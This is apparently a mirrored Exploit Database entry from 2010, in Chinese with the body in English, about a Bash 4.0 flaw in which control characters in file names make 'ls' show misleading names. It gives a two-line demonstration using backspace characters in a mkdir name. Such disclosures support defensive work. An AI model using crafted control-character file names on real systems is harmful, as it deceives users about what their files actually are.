GNU Bash 4.0 – ‘ls’ Control Character Command Injection

• Exploit Database
• 189 阅读

• 作者： Eric Piel
  日期： 2010-01-13
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/33508/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17

  source: https://www.securityfocus.com/bid/37776/info   GNU Bash is prone to a command-injection vulnerability because it fails to adequately sanitize control characters in the 'ls' command.   Attackers can exploit this issue to execute arbitrary commands in a bash terminal; other attacks may also be possible.   The following example is available:   1. mkdir $(echo -e 'couc\x08\x08asd') 2. ls   Displays: coasd/   Expected: couc??asd/